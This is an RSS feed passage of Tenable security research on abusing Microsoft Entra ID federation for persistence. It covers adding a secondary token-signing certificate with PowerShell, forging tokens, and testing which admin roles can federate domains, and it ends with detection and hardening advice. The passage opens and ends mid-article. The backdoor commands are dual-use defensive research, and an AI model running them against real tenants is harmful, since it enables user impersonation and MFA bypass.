href="https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.identity.directorymanagement/update-mgdomainfederationconfiguration?view=graph-powershell-1.0">Update-MgDomainFederationConfiguration</a>:</p><pre>$fedconf = Get-MgDomainFederationConfiguration -DomainId $domain<br>Update-MgDomainFederationConfiguration `<br>    -DomainId $domain `<br>    -InternalDomainFederationId $fedconf.Id `<br>    -NextSigningCertificate $secondary_cert</pre><p>And we can check that we do indeed see both certificates:</p><pre>PS&gt; Get-MgDomainFederationConfiguration -DomainId $domain | select SigningCertificate,NextSigningCertificate | Format-List<br><br>SigningCertificate     : MIIDMjC[...]pfgoXj3kI<br>NextSigningCertificate : MIIDNjC[...]KQEixdg==</pre><h3>Proof that both token-signing certificates work simultaneously</h3><p>Since the beginning I’ve been telling you that both token-signing certificates are accepted as signers, even if the primary is not expired, but I owe you a proof after all! In the following example, I create two different certificates as described previously and extract their private keys. Then I convert the domain to federated with both token-signing certificates configured, which you can see in the output at the bottom. Finally, I successfully authenticate with a ticket forged with each token-signing certificate private key using <a href="https://aadinternals.com/aadinternals/#open-aadintoffice365portal">Open-AADIntOffice365Portal</a> (to make it work, I had to <a href="https://github.com/Gerenios/AADInternals/issues/80">fix an unrelated bug</a> brought in v.0.9.3 of AADInternals):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*A9EGOVRn-c1K1Hv2" /></figure><h3>Recommendations for defense</h3><p>The main recommendations are the same as <a href="https://medium.com/tenable-techblog/roles-allowing-to-abuse-entra-id-federation-for-persistence-and-privilege-escalation-df9ca6e58360#4592">in my previous article</a>.</p><p>🤔 <strong>Be careful about assigning the Entra roles that allow changing federation configuration</strong>, thereby adding a secondary token-signing certificate:</p><ul><li>Global Administrator</li><li>Security Administrator</li><li>Hybrid Identity Administrator</li><li>External Identity Provider Administrator</li><li>Domain Name Administrator</li><li>Partner Tier2 Support</li></ul><p>🔍 <strong>Audit and monitor the configuration of your federated domain(s)</strong> to detect the potential already existing, or future, backdoors. Here is a PowerShell oneliner to list your federated domains and their configured <em>SigningCertificate</em>/<em>NextSigningCertificate</em>:</p><pre>Get-MgDomain | Where-Object { $_.AuthenticationType -eq &quot;Federated&quot; } | ForEach-Object { $_ ; Get-MgDomainFederationConfiguration -DomainId $_.Id | select SigningCertificate,NextSigningCertificate }</pre><p>🆘<strong> Seek assistance from Incident Response specialists</strong> with expertise on Entra ID in case of suspicion</p><p>😑 Migrating away from federated authentication (i.e. decommissioning AD FS), has many advantages and is recommended by Microsoft, but it does not protect against this. It only makes it easier to detect it because any new “federated” domain, or any change in “federation” settings, should raise an alert 🚨</p><p>🚨 On the subject of monitoring, you can “<a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-monitor-federation-changes"><strong>Monitor changes to federation configuration in your Microsoft Entra ID</strong></a>” as recommended by Microsoft. Which is made easier if your organization doesn’t use (anymore) federation (as written above). But unfortunately the “Set federation settings on domain” AuditLogs event doesn’t contain the information allowing you to determine if the modification affected the token-signing certificates, and even if it did, there are no details on the certificates themselves as you can see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/0*f1Oe4R18r9tAR2Or" /></figure><p>🙈 Finally, since this secondary token-signing certificate can be a blind spot, <strong>ensure that your security tools can monitor and scan both certificates for anomalies</strong>. <a href="https://www.tenable.com/products/identity-exposure"><strong>Tenable Identity Exposure</strong></a><strong> which offers many Indicators of Exposure dedicated to this subject</strong> (“<a href="https://www.tenable.com/indicators/ioe/entra/KNOWN-FEDERATED-DOMAIN-BACKDOOR">Known Federated Domain Backdoor</a>”, “<a href="https://www.tenable.com/indicators/ioe/entra/FEDERATION-SIGNING-CERTIFICATES-MISMATCH">Federation Signing Certificates Mismatch</a>”, “<a href="https://www.tenable.com/indicators/ioe/entra/FEDERATED-DOMAINS-LIST">Federated Domains List</a>”, “<a href="https://www.tenable.com/indicators/ioe/entra/UNUSUAL-FEDERATION-SIGNING-CERTIFICATE-VALIDITY-PERIOD">Unusual Federation Signing Certificate Validity Period</a>”, “<a href="https://www.tenable.com/indicators/ioe/entra/UNVERIFIED-DOMAIN">Unverified Domain</a>”), and of course we designed them so they <strong>cover both certificates</strong> 😉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=876b21261106" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-techblog/stealthy-persistence-privesc-in-entra-id-by-using-the-federated-auth-secondary-token-signing-cert-876b21261106">Stealthy Persistence &amp; PrivEsc in Entra ID by using the Federated Auth Secondary Token-signing Cert.</a> was originally published in <a href="https://medium.com/tenable-techblog">Tenable TechBlog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Entra Roles Allowing To Abuse Entra ID Federation for Persistence and Privilege Escalation]]></title>
            <link>https://medium.com/tenable-techblog/roles-allowing-to-abuse-entra-id-federation-for-persistence-and-privilege-escalation-df9ca6e58360?source=rss----68728ef06732---4</link>
            <guid isPermaLink="false">https://medium.com/p/df9ca6e58360</guid>
            <category><![CDATA[azure-active-directory]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[microsoft-entra-id]]></category>
            <category><![CDATA[tenable-research]]></category>
            <category><![CDATA[federation]]></category>
            <dc:creator><![CDATA[Clément Notin [Tenable]]]></dc:creator>
            <pubDate>Tue, 09 Jan 2024 14:08:50 GMT</pubDate>
            <atom:updated>2024-12-05T10:46:45.295Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Microsoft Entra ID (formerly known as Azure AD) allows delegation of authentication to another identity provider through the legitimate federation feature. However, attackers with elevated privileges can abuse this feature, leading to persistence and privilege escalation 💥.</p><p>But what are exactly these “elevated privileges” that are required to do so? 🤔 In this article, we are going to see that the famous “Global Administrator” role is not the only one allowing it! 😉 Follow along (or skip to the conclusion!) to learn which of your Entra administrators have this power, since these are the ones that you must protect first.</p><p><em>This was discovered by </em><a href="https://www.tenable.com/research"><em>Tenable Research</em></a><em> while working on identity security.</em></p><h4>Federation?</h4><p>By default, users submit their credentials to Entra ID (usually on the login.microsoftonline.com domain) which is in charge of validating them, either on its own if it’s a cloud-only account, or helped by the on-premises Active Directory (using hashes of AD password hashes already synchronized from AD via <a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs">password hash sync</a>, or by sending the password to AD for verification via <a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta">pass-through authentication</a>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/0*Dqjw1EKdsQ01sCNH" /></figure><p>But there is another option: a Microsoft Entra tenant can use <a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed">federation with a custom domain</a> to establish trust with another domain for authentication and authorization. Organizations mainly use federation to delegate authentication for Active Directory users to their on-premises <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Services (AD FS)</a>. This is similar to the concept of “trust” in Active Directory. ⚠️ However, do not confuse the “custom domain” with an Active Directory “domain”!</p><p>When a user types their email on the login page, Entra ID detects when the domain is federated and then redirects the user to the URL of the corresponding Identity Provider (IdP), which obtains and verifies the user’s credentials, before redirecting the user to Entra ID with their proof (or failure) of authentication in the form of a signed SAML or WS-Federation (“WS-Fed” for short) token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/0*sL3EsS8lmYrtSknt" /></figure><p>🏴‍☠️ However, if <strong>malicious actors gain elevated privileges in Microsoft Entra ID, they can abuse this federation mechanism to create a backdoor</strong> by creating a federated domain, or modifying an existing one, allowing them to impersonate anyone, even bypassing MFA.</p><p>The potential for abuse of this legitimate feature was initially discovered by Dr. Nestori Syynimaa: “<a href="https://aadinternals.com/post/federation-vulnerability/">Security vulnerability in Azure AD &amp; Office 365 identity federation</a>”, where he described how it concerns even cloud-only users, and even allows bypassing MFA, and further described it in “<a href="https://aadinternals.com/post/aadbackdoor/">How to create a backdoor to Azure AD — part 1: Identity federation</a>”. If you are curious, he also shared a “<a href="https://aadinternals.com/post/aad-deepdive/">Deep-dive to Azure Active Directory Identity Federation</a>”. He also hosts an <a href="https://aadinternals.com/osint/">OSINT tool</a> allowing to list the domains, including if they are federated (to which IdP), of any tenant without even having to be authenticated to it!</p><p>This technique is currently used by threat actors, such as reported by Microsoft Incident Response on October 2023 in “<a href="https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/#:~:text=Octo%20Tempest%20leverages%20publicly,known%20as%20Golden%20SAML.">Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction</a>”:</p><blockquote>Octo Tempest targets federated identity providers using tools like AADInternals to federate existing domains, or spoof legitimate domains by adding and then federating new domains. The threat actor then abuses this federation to generate forged valid security assertion markup language (SAML) tokens for any user of the target tenant with claims that have MFA satisfied, a technique known as Golden SAML</blockquote><p>I also wrote an article describing how <a href="https://medium.com/tenable-techblog/stealthy-persistence-privesc-in-entra-id-by-using-the-federated-auth-secondary-token-signing-cert-876b21261106">attackers can exploit the federated authentication’s secondary token-signing certificate for stealthier persistence and privilege escalation</a>.</p><p>The corresponding MITRE ATT&amp;CK techniques are:</p><ul><li><a href="https://attack.mitre.org/techniques/T1484/002/">T1484.002 “Domain Policy Modification: Domain Trust Modification”</a> for the initial operation where the attacker adds a secondary token-signing certificate</li><li><a href="https://attack.mitre.org/techniques/T1606/002/">T1606.002 “Forge Web Credentials: SAML Tokens”</a> for the subsequent operation where the attacker forges a SAML token with the private key of the previously injected secondary token-signing certificate, before presenting the token to Entra ID as a fake proof of identity</li></ul><p>🛡️ You will find recommendations to defend against this at the end of this article.</p><p>This federation feature for internal users (aka “members”) must not be confused with another federation feature in Entra ID, meant for guests (aka “external identities”) which allows “<a href="https://learn.microsoft.com/en-us/entra/external-id/direct-federation">Federation with SAML/WS-Fed identity providers for guest users</a>” using configurable “<a href="https://learn.microsoft.com/en-us/entra/external-id/identity-providers">Identity Providers for External Identities</a>”. This research and article are focused on the former: internal federation.</p><h4>APIs available to interact with Entra ID</h4><p>Performing this attack requires interacting with Entra ID of course, which is done through APIs. There are several available, offering more or less the same features, as described by Dr. Nestori Syynimaa in his talk “<a href="https://aadinternals.com/talks/PDCConf%202021.pdf#page=12">AADInternals: How did I built the ultimate Azure AD hacking tool from the scratch</a>”. However, we will see that sometimes, an action that is forbidden for a certain role by one API is allowed by another! 😨 The behavior of some actions is also different between the APIs, while some actions are only possible with older APIs.</p><p>I prefer mentioning the APIs instead of the admin (i.e. PowerShell) or hack tools that I used, since it is what actually matters whether the tool calling them.</p><h4>🟥 Provisioning API / MSOnline (MSOL)</h4><p>The <a href="https://learn.microsoft.com/en-us/powershell/module/msonline/?view=azureadps-1.0">MSOnline V1 PowerShell module</a> is going to be ⚠️ <a href="https://techcommunity.microsoft.com/t5/microsoft-entra-azure-ad-blog/important-azure-ad-graph-retirement-and-powershell-module/ba-p/3848270#:~:text=Therefore%2C%20we%20are%20postponing%20the%20deprecation%20date%20for%20MS%20Online%2C%20AzureAD%2C%20and%20AzureAD%20Preview%20PowerShell%20modules%20to%20March%2030%2C%202024.%C2%A0%C2%A0">deprecated soon in March 2024</a> but it is still working, so it remains available to attackers too. You can recognize its usage because all the cmdlets contain “Msol”, for example “<a href="https://learn.microsoft.com/en-us/powershell/module/msonline/get-msoluser?view=azureadps-1.0">Get-MsolUser</a>”.</p><p>It relies on an API unofficially called the “provisioning API” available at the “https://provisioningapi.microsoftonline.com/provisioningwebservice.svc” address. This API is not publicly documented and it uses the SOAP protocol.</p><p>It was replaced by the Azure AD Graph API (see below).</p><h4>🟦 Azure AD Graph API</h4><p>Likewise, the <a href="https://learn.microsoft.com/en-us/powershell/module/azuread/?view=azureadps-2.0">AzureAD PowerShell module</a> is going to be ⚠️ <a href="https://techcommunity.microsoft.com/t5/microsoft-entra-azure-ad-blog/important-azure-ad-graph-retirement-and-powershell-module/ba-p/3848270#:~:text=Therefore%2C%20we%20are%20postponing%20the%20deprecation%20date%20for%20MS%20Online%2C%20AzureAD%2C%20and%20AzureAD%20Preview%20PowerShell%20modules%20to%20March%2030%2C%202024.%C2%A0%C2%A0">deprecated soon in March 2024</a> but it is still working, so it remains available to attackers too. You can recognize its usage because all the cmdlets contain “AzureAD”, for example “<a href="https://learn.microsoft.com/en-us/powershell/module/azuread/get-azureaduser?view=azureadps-2.0">Get-AzureADUser</a>”.</p><p>It relies on an API called the <a href="https://learn.microsoft.com/en-us/previous-versions/azure/ad/graph/api/api-catalog">Azure AD Graph API</a> available on <a href="https://graph.windows.net/">https://graph.windows.net/.</a> This API is publicly documented and it exposes REST endpoints.</p><p>It was replaced by the Microsoft Graph API (see below), with which it must not be confused.</p><h4>🟩 Microsoft Graph API / Microsoft Graph PowerShell SDK</h4><p><a href="https://learn.microsoft.com/en-us/graph/">Microsoft Graph</a> is the newest API offered, and currently recommended, by Microsoft to interact with Entra ID and other Microsoft cloud services (e.g. Microsoft 365). The API is available on <a href="https://graph.microsoft.com./">https://graph.microsoft.com.</a> It is publicly documented and it exposes REST endpoints.</p><p>There are also several SDKs offered to interact with it, including the <a href="https://learn.microsoft.com/en-us/powershell/microsoftgraph/?view=graph-powershell-1.0">Microsoft Graph PowerShell SDK</a>. You can recognize its usage because all the cmdlets contain “Mg”, for example “<a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.users/get-mguser?view=graph-powershell-1.0">Get-MgUser</a>”.</p><h4>Entra roles and permissions</h4><p><a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-overview">Entra ID follows the RBAC model</a> to declare who can do what. Principals (user, group, service principal) are assigned Roles on some Scope (entire tenant, or specific Administrative Unit, or even a single object). Each Entra Role is defined by the Entra Permissions (also called “actions” in Microsoft documentation) it gives.</p><p>⚠️ Do not confuse <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-overview">Entra RBAC</a>, using <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference">Entra roles</a> and meant to control access to Entra ID resources (users, groups, devices, IdP configuration, etc.), with <a href="https://learn.microsoft.com/en-us/azure/role-based-access-control/overview">Azure RBAC</a>, using <a href="https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles">Azure roles</a> and meant to control access to Azure cloud resources (virtual machines, databases, network, storage accounts, websites, etc.). Take the time to read this article if you have doubts: “<a href="https://learn.microsoft.com/en-us/azure/role-based-access-control/rbac-and-directory-admin-roles">Azure roles, Microsoft Entra roles, and classic subscription administrator roles</a>”.</p><p>⚠️ Do not confuse <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference">Entra permissions</a> (like “<em>microsoft.directory/domains/allProperties/allTasks</em>”) with the <a href="https://learn.microsoft.com/en-us/entra/identity-platform/permissions-consent-overview">Entra API permissions</a> (like the famous “<em>Directory.ReadWrite.All</em>” permission of MS Graph API).</p><p>There are around 100 <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference">Entra built-in roles</a> (as of December 2023), the most famous and powerful being <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#global-administrator">Global Administrator</a>. Customers can create their own <a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-create">Entra custom roles</a> containing exactly the permissions they want (but only some are supported).</p><p><strong>My goal in this article is to identify exactly which Entra roles, and hopefully exact Entra permission(s), allow attackers to abuse the federation feature for malicious purposes.</strong></p><p>After a quick review of the Entra roles recommended by the documentation to configure this feature, and the list of all available Entra permissions (in particular those under “<em>microsoft.directory/domains/</em>”), I have selected for my tests these roles listed with their relevant permissions. The “[💥privileged]” tag below marks privileged roles according to Microsoft (as of November 2023), thanks to the recent feature “<a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions?tabs=admin-center">Privileged roles and permissions in Microsoft Entra ID</a>”. Notably, none of these permissions is considered privileged.</p><p><a href="https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#global-administrator">Global Administrator</a> [💥privileged]</p><ul><li><em>microsoft.directory/domains/allProperties/allTasks</em></li><li><em>microsoft.directory/domains/federationConfiguration/basic/update</em></li><li><em>microsoft.directory/domains/federationConfiguration/create</em></li></ul><p><a href="https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#security-administrator">Security Administrator</a> [💥privileged]</p><ul><li><em>microsoft.directory/domains/federation/update</em></li><li><em>microsoft.directory/domains/federationConfiguration/basic/update</em></li><li><em>microsoft.directory/domains/federationConfiguration/create</em></li></ul><p><a href="https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#hybrid-identity-administrator">Hybrid Identity Administrator</a> [💥privileged]: according to its description, this role is meant to manage federation for internal users (among other features), which is the feature I’m focusing on</p><ul><li><em>microsoft.directory/domains/federation/update</em></li><li><em>microsoft.directory/domains/federationConfiguration/basic/update</em></li><li><em>microsoft.directory/domains/federationConfiguration/create</em></li></ul><p><a href="https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#external-identity-provider-administrator">External Identity Provider Administrator</a>: according to its description, this role is meant to manage federation for external users, which is not what this is about, but we never know… so I have included it</p><ul><li><em>microsoft.directory/domains/federation/update</em></li></ul><p><a href="https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#domain-name-administrator">Domain Name Administrator</a></p><ul><li><em>microsoft.directory/domains/allProperties/allTasks</em></li></ul><p><a href="https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#partner-tier1-support">Partner Tier1 Support</a> [💥privileged]: Microsoft has been saying for months that this role should not be used since it is deprecated, and its mentions have been recently removed from the documentation, but since it is still functioning (as of November 2023) and thus abusable by attackers, I have decided to include it</p><ul><li>&lt;none&gt;</li></ul><p><a href="https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#partner-tier2-support">Partner Tier2 Support</a> [💥privileged]: Microsoft has been saying for months that this role should not be used since it is deprecated, and its mentions have been recently removed from the documentation, but since it is still functioning (as of November 2023) and thus abusable by attackers, I have decided to include it</p><ul><li><em>microsoft.directory/domains/allProperties/allTasks</em></li></ul><h3>Methodology</h3><p>I used a single Entra tenant, with several Entra users: one user per role I wanted to test (with the role assigned of course).</p><p>I wrote several PowerShell scripts, which clean the environment if needed (to allow several consecutive runs), call the cmdlets corresponding to the API to test, and then check the result. That way I obtained reliable and reproducible test cases.</p><p>The scripts are publicly available on GitHub: <a href="https://github.com/tenable/entra-id-federation-abuse-research-required-roles">https://github.com/tenable/entra-id-federation-abuse-research-required-roles</a></p><h3>Steps of the killchain</h3><h4>Create and verify domain</h4><p>Federation needs a <a href="https://learn.microsoft.com/en-us/entra/fundamentals/add-custom-domain">custom domain name</a> configured in Entra ID to work. You can list them in the <a href="https://entra.microsoft.com/#view/Microsoft_AAD_IAM/DomainsList.ReactView">Entra admin center</a> (or Azure Portal):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DDMAea_QtsI-DxT_" /></figure><p>Domains can either be:</p><ul><li>“Managed”, by default. No check in the “Federated” column in the screenshot above.<br>Users submit their credentials to Entra ID.</li><li>“Federated”, when federation is enabled on a domain. Check in the “Federated” column.<br>Users are redirected to the federated IdP to which they submit their credentials and Entra ID trusts the token it emits.</li></ul><p>Administrators can convert a domain between each of these modes.</p><p>Now, from an attacker’s perspective, if there is no custom domain available (apart from the default <em>&lt;tenant&gt;.onmicrosoft.com</em>), we have to create one and verify it to prove that we own it. These are two steps, using different API endpoints / PowerShell cmdlets.</p><p>Creating a new domain is at the same time more visible, due to the added domain, but also less visible since this new domain will only be used by the attacker and it will not disrupt the existing authentication process for normal users, as <a href="https://www.mandiant.com/resources/blog/detecting-microsoft-365-azure-active-directory-backdoors#:~:text=Note%3A%20To%20not%20interrupt%20production%20and%20authentication%20with%20an%20existing%20federated%20domain%20(and%20to%20remain%20undetected)%2C%20an%20attacker%20may%20opt%20to%20register%20a%20new%20domain%20with%20the%20tenant.">hinted by Mandiant</a>:</p><blockquote>Note: To not interrupt production and authentication with an existing federated domain (and to remain undetected), an attacker may opt to register a new domain with the tenant.</blockquote><h4>🟥 Provisioning API: using New-MsolDomain and Confirm-MsolDomain</h4><p>Attempts were:</p><p>✅ allowed for:</p><ul><li>Global Administrator</li><li>Partner Tier2 Support</li></ul><p>❌ denied for these, with this error message right from the first creation step “Access Denied. You do not have permissions to call this cmdlet”</p><ul><li>Security Administrator</li><li>Hybrid Identity Administrator</li><li>External Identity Provider Administrator</li><li>Domain Name Administrator</li><li>Partner Tier1 Support</li></ul><h4>🟦 Azure AD Graph API: using New-AzureADDomain and Confirm-AzureADDomain</h4><p>API endpoints: <a href="https://learn.microsoft.com/en-us/previous-versions/azure/ad/graph/api/domains-operations#create-a-domain">create a domain</a> and <a href="https://learn.microsoft.com/en-us/previous-versions/azure/ad/graph/api/domains-operations#verify-action">verify action</a></p><p>Attempts were:</p><p>✅ allowed for:</p><ul><li>Global Administrator</li><li>Domain Name Administrator</li><li>Partner Tier2 Support</li></ul><p>❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”</p><ul><li>Security Administrator</li><li>Hybrid Identity Administrator</li><li>External Identity Provider Administrator</li><li>Partner Tier1 Support</li></ul><p>I noticed that contrary to the provisioning API, the Domain Name Administrator role is allowed to create and verify a domain with the MS Graph API.</p><h4>🟩 MS Graph API: using New-MgDomain and Confirm-MgDomain</h4><p>API endpoints: <a href="https://learn.microsoft.com/en-us/graph/api/domain-post-domains?view=graph-rest-1.0&amp;tabs=http">create domain</a> and <a href="https://learn.microsoft.com/en-us/graph/api/domain-verify?view=graph-rest-1.0&amp;tabs=http">verify domain</a></p><p>Attempts were:</p><p>✅ allowed for:</p><ul><li>Global Administrator</li><li>Domain Name Administrator</li><li>Partner Tier2 Support</li></ul><p>❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”</p><ul><li>Security Administrator</li><li>Hybrid Identity Administrator</li><li>External Identity Provider Administrator</li><li>Partner Tier1 Support</li></ul><p>So, exactly the same results as with Azure AD Graph just above.</p><h4>Convert domain to federated mode / add federation configuration</h4><p>The next step is to convert the target custom domain to Federated mode, either:</p><ul><li>the custom domain was already present, but configured in the default Managed mode. ⚠️ converting it to Federated mode will cause disruptions to users who normally use this domain for authentication!</li><li>the attacker was able to create and verify a new domain as described just above</li></ul><p>Converting the domain to federated requires providing federation configuration information. Indeed, federation requires some configuration on Entra ID-side, for instance the certificate used by the federated IdP to sign the token which is the authentication proof, and the <a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-install-multiple-domains"><em>IssuerUri</em></a> that uniquely identifies a federation service allowing to identify to which domain the token is linked.</p><p>This technique was described by Mandiant:</p><ul><li><a href="https://www.mandiant.com/resources/blog/detecting-microsoft-365-azure-active-directory-backdoors#:~:text=This%20can%20be%20obtained%20by%20converting%20a%20managed%20domain%20to%20a%20federated%20domain">Detecting Microsoft 365 and Azure Active Directory Backdoors</a> (2020):</li></ul><blockquote>This can be obtained by converting a managed domain to a federated domain</blockquote><ul><li><a href="https://www.mandiant.com/sites/default/files/2021-11/wp-m-unc2452-000343.pdf#page=23">Remediation and hardening strategies for Microsoft 365 to defend against UNC2452</a> (2021):</li></ul><blockquote>The threat actor must first compromise an account with permission to modify or create federated realm objects […] Mandiant observed connections to a Microsoft 365 tenant with MSOnline PowerShell followed by the configuration of a new, attacker-controlled domain as federated</blockquote><p>And also by Dr. Nestori Syynimaa in “<a href="https://aadinternals.com/post/aadbackdoor/">How to create a backdoor to Azure AD — part 1: Identity federation</a>”.</p><h4>🟥 Provisioning API: using Set-MsolDomainAuthentication or AADInternals’ ConvertTo-AADIntBackdoor</h4><p>Attempts were:</p><p>✅ allowed for:</p><ul><li>Global Administrator</li><li>Partner Tier2 Support</li></ul><p>❌ denied for these, with this error message “Access Denied. You do not have permissions to call this cmdlet”</p><ul><li>Security Administrator</li><li>Hybrid Identity Administrator</li><li>External Identity Provider Administrator</li><li>Domain Name Administrator</li><li>Partner Tier1 Support</li></ul><h4>🟦 Azure AD Graph API: not supported</h4><p>I did not find any Azure AD Graph API endpoint, nor AzureAD PowerShell cmdlet, for converting a domain to federated.</p><h4>🟩 MS Graph API: using New-MgDomainFederationConfiguration</h4><p>API endpoint: <a href="https://learn.microsoft.com/en-us/graph/api/domain-post-federationconfiguration?view=graph-rest-1.0&amp;tabs=http">Create internalDomainFederation</a></p><p>Attempts were:</p><p>✅ allowed for:</p><ul><li>Global Administrator</li><li>Security Administrator</li><li>External Identity Provider Administrator</li><li>Domain Name Administrator</li><li>Partner Tier2 Support</li></ul><p>❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”</p><ul><li>Hybrid Identity Administrator</li><li>Partner Tier1 Support</li></ul><p>Once again, I noticed differences between the roles allowed by the provisioning API and the MS Graph API.</p><p>Thanks to this observation, I <a href="https://github.com/microsoftgraph/microsoft-graph-docs-contrib/pull/8820">suggested an update</a> in the <a href="https://learn.microsoft.com/en-us/graph/api/domain-post-federationconfiguration?view=graph-rest-1.0&amp;tabs=http">official Entra ID doc page</a>.</p><h4>Add second federation configuration</h4><p>While looking at the APIs, I noticed that it was possible to <a href="https://learn.microsoft.com/en-us/graph/api/domain-list-federationconfiguration?view=graph-rest-1.0&amp;tabs=http">List internalDomainFederations</a>, notice the plural, and that it returned a collection (array). So I had the idea of trying to add a second federation configuration to an existing domain!</p><p>Unfortunately, it failed with this error “Domain already has Federation Configuration set.” and indeed the doc could have given me a hint: “This API returns only one object in the collection […] collection of one internalDomainFederation object in the response body.”</p><h4>Change existing federation configuration</h4><p>Another way for attackers is to change the federation configuration of an existing federated domain to allow crafting tokens with the attacker’s own token-signing certificate. This is similar to a <a href="https://www.mandiant.com/sites/default/files/2021-11/wp-m-unc2452-000343.pdf#page=9">Golden SAML attack</a> but instead of stealing the key, the attacker is inserting theirs, and instead of presenting the forged token to a service, they present it to the IdP.</p><p>This technique was described by Mandiant in <a href="https://www.mandiant.com/sites/default/files/2021-11/wp-m-unc2452-000343.pdf#page=23">Remediation and hardening strategies for Microsoft 365 to defend against UNC2452</a> (2021):</p><blockquote>The threat actor must first compromise an account with permission to modify or create federated realm objects.</blockquote><p>The main way is to modify the current token-signing certificate, stored in the “<a href="https://learn.microsoft.com/en-us/graph/api/resources/internaldomainfederation?view=graph-rest-beta#:~:text=%2C%20unknownFutureValue.-,signingCertificate,-String"><em>signingCertificate</em></a>” attribute of the federation configuration, which has the disadvantage of temporarily breaking the authentication and thus making it noticeable.</p><p>A variant is also possible, where instead of changing the main token-signing certificate, the attacker adds a secondary token-signing certificate thanks to the “<a href="https://learn.microsoft.com/en-us/graph/api/resources/internaldomainfederation?view=graph-rest-beta#:~:text=from%20samlOrWsFedProvider.-,nextSigningCertificate,-String"><em>nextSigningCertificate</em></a>” attribute. This variant was described by Mandiant in <a href="https://www.mandiant.com/sites/default/files/2021-11/wp-m-unc2452-000343.pdf#page=23">Remediation and hardening strategies for Microsoft 365 to defend against UNC2452</a> (2021):</p><blockquote>A threat actor could also modify the federation settings for an existing domain by configuring a new, secondary, token-signing certificate. This would allow for an attack (similar to Golden SAML) where the threat actor controls a private key that can digitally sign SAML tokens and is trusted by Azure AD.</blockquote><p>This secondary token-signing certificate was meant to prepare a rollover operation when the main one expires. However, both are accepted as token signers even when the first one has not expired yet. Microsoft Security (MSRC) has confirmed to me it was an intended behavior and working as expected. Therefore, I <a href="https://github.com/microsoftgraph/microsoft-graph-docs-contrib/pull/8799">updated</a> the <a href="https://learn.microsoft.com/en-us/graph/api/resources/internaldomainfederation?view=graph-rest-beta#:~:text=from%20samlOrWsFedProvider.-,nextSigningCertificate,-String">public documentation</a>:</p><blockquote>nextSigningCertificate: Fallback token signing certificate that can also be used to sign tokens</blockquote><p>This is also the reason why Microsoft recommends in their “<a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-emergency-ad-fs-certificate-rotation#if-autocertificaterollover-is-set-to-true-generate-a-new-self-signed-certificate">Emergency rotation of the AD FS certificates</a>” article to renew twice the token-signing certificate because:</p><blockquote>You’re creating two certificates because Azure [Entra ID] holds on to information about the previous certificate. By creating a second one, you’re forcing Azure [Entra ID] to release information about the old certificate and replace it with information about the second one. If you don’t create the second certificate and update Azure [Entra ID] with it, it might be possible for the old token-signing certificate to authenticate users.</blockquote><h4>🟥 Provisioning API: using Set-MsolDomainFederationSettings</h4><p>Attempts were:</p><p>✅ allowed for:</p><ul><li>Global Administrator</li><li>Hybrid Identity Administrator</li><li>Partner Tier2 Support</li></ul><p>❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”</p><ul><li>Domain Name Administrator</li><li>External Identity Provider Administrator</li><li>Security Administrator</li><li>Partner Tier1 Support</li></ul><p>I noticed a difference here, with Set-MsolDomainAuthentication shown above, in that the “Hybrid Identity Administrator” role is now allowed.</p><h4>🟦 Azure AD Graph API: not supported</h4><p>I did not find any Azure AD Graph API endpoint, nor AzureAD PowerShell cmdlet, for modifying federation configuration. In the AzureADPreview module, there is the “New-AzureADExternalDomainFederation” cmdlet but it deals with federation for external users, not for 